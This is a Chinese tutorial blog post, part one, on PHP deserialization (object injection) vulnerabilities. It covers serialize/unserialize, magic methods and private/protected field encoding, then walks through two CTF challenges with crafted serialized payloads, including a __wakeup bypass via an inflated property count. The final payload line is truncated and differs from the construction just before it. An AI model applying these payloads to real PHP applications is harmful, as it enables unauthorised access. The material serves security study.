PHP反序列化漏洞学习(一)
概念
serialize()
serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
测试代码如下:
<?php
class Test{
var $flag = '123';
}
$test1 = new Test;
$test1_ser = serialize($test1);
print_r($test1_ser);
?>
运行结果:
O:4:"Test":1:{s:4:"flag";s:3:"123";}
此处的O
代表存储的是对象(object)。4
表示对象的名称有4个字符。"Test"
表示对象的名称。1
表示有一个值。s
表示字符串,4
表示字符串长度,"flag"
表示定义的变量名称。123
表示变量的值。
unserialize()
- unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
测试代码:
<?php
class Test{
var $flag = '123';
}
$test1 = new Test;
$test1_ser = serialize($test1);
print_r($test1_ser);
echo "\n";
$test2 = $test1_ser;
$test2_unser = unserialize($test2);
print_r($test2_unser);
?>
结果:
O:4:"Test":1:{s:4:"flag";s:3:"123";}
Test Object
(
[flag] => 123
)
当使用unserialize()函数时,将会调用__wakeup()成员函数
反序列化漏洞
因为传入unserialize()函数的参数可控,我们可以通过传入恶意构造的字符串,从而控制对象内部的函数或者变量。
魔法函数
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
常见的方法:
- __construct():创建对象时自动调用
- __destruct():对象被销毁时自动调用
- __wakeup():unserialize()时自动调用
- __call():在对象上下文中调用不可访问的方法时触发
- __sleep():对象被序列化之前触发
- __toString():把类当作字符串使用时触发,返回值需要为字符串
我们举个例子看看魔法函数在序列化和反序列化过程中如何调用的:
<?php
class Test{
function __construct(){
echo "__construct";
echo "\n";
}
function __sleep(){
echo "__sleep";
echo "\n";
}
function __destruct(){
echo "__destruct";
echo "\n";
}
}
$test1 = new Test;
$test1_ser = serialize($test1);
$test1_unser = unserialize($test1_ser);
print_r($test1_unser);
?>
结果如下:
__construct
__sleep
__destruct
属性权限
类中的属性有三个权限:
Public
权限Private
权限Protected
权限
这三种权限的属性经过序列化后的字符长度不一样,字符的变化不同
public权限
可以看到字符串长度没变,字符前后也没有变化
private权限
发现字符串长度变成了10,而且字符串也变成
%00类名%00属性名
的形式protected权限
发现字符串长度变成了7,而且字符串变成
%00*%00属性名
的形式
例子
ez_unserialize
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
我们构造payload:
http://120.79.33.253:9001/?str=s:7:%22D0g3!!!%22
即可得到flag
[极客大挑战 2019]PHP
打开网站后提示备份,用dirsearch扫出来一个www.zip
下载后打开index.php发现一段代码:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
再看class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
所以我们要让password=100,且username=admin,并用序列化传进去即可得到flag
构造一下:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但我们还需要绕过__wakeup() 和 __destruct()
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
所以构造出:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不过变量是private型,该类私有字段的字段名在序列化时,类名和字段名前面都会加上\0
最后构造:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
payload:
select={s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}